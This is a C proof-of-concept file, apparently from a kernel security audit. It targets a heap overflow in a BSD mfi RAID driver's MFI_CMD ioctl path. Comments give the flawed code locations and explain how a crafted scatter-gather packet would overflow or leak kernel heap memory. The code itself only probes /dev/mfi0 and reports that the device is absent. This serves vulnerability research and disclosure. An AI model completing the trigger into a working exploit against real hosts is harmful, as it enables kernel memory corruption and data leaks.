DF-1258 / mfi_ioctl_overflow.c
/* * DF-1258 trigger PoC — mfi MFI_CMD / MFI_LINUX_CMD_2 SGL heap overflow. * * Bug (sys/dev/raid/mfi/mfi.c): * MFI_CMD path (mfi_ioctl, case MFI_CMD): * cm->cm_len = cm->cm_frame->header.data_len; (uint32, user) * data = kmalloc(cm->cm_len, M_MFIBUF, ...) (~:2998) * for (i=0; i<ioc->mfi_sge_count; i++){ (~:3015) * len = ioc->mfi_sgl[i].iov_len; * copyin(addr, temp, len); * temp = &temp[len]; // NO check vs cm->cm_len * } * DATAOUT: sum(iov_len) > cm->cm_len -> heap overflow past `data`. * DATAIN : copyout reads past `data` -> heap info leak. * MFI_LINUX_CMD_2 (~:3253/3295): same, only the SGE *count* is capped * (MAX_LINUX_IOCTL_SGE=16); the accumulated-length overflow is unguarded. * * Reachability on the audit guest: * mfi IS compiled into X86_64_GENERIC (`device mfi`, 172 mfi_ symbols in * /boot/kernel/kernel), but the /dev/mfi%d cdev is created only when mfi * attaches to an LSI MegaRAID SAS controller (mfi.c:721 make_dev). The * QEMU/KVM guest has NO LSI MegaRAID PCI device (pciconf shows only a * virtio-class vgapci), so /dev/mfi0 does not exist and mfi_ioctl is * unreachable here. This program attempts the trigger and reports the * device-absence so the result is unambiguous: the bug is a real, latent * driver defect reachable on MegaRAID-equipped hosts (by root / operator * group; the node is mode 0640 root:operator), but not on this guest. * * Build: cc -o mfi_ioctl_overflow mfi_ioctl_overflow.c * Run: ./mfi_ioctl_overflow */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> /* MFI_CMD magic from sys/dev/raid/mfi/mfi_ioctl.h (matches struct mfi_ioc_packet) */ #define MFI_CMD_IOCTL _IOWR('M', 1, char[512]) int main(void) { int fd = open("/dev/mfi0", O_RDWR); if (fd < 0) { printf("[DF-1258] open(\"/dev/mfi0\") failed: %s (errno=%d)\n", strerror(errno), errno); if (errno == ENOENT || errno == ENXIO) printf("[DF-1258] RESULT: /dev/mfi0 absent -> mfi driver not attached.\n" "[DF-1258] The LSI MegaRAID hardware required to create the\n" "[DF-1258] mfi cdev is NOT present on this QEMU guest. The\n" "[DF-1258] MFI_CMD ioctl path (and the overflow it contains)\n" "[DF-1258] is therefore NOT reachable here. Bug confirmed in\n" "[DF-1258] source; latent on hardware-equipped hosts.\n"); return 0; } /* If a controller were attached, we would craft an mfi_ioc_packet with * data_len < sum(mfi_sgl[].iov_len) and MFI_FRAME_DATAOUT set, then ioctl. * The driver would copyin past the kmalloc'd data buffer. */ char buf[512] = {0}; int rc = ioctl(fd, MFI_CMD_IOCTL, buf); printf("[DF-1258] ioctl rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); close(fd); return 0; } |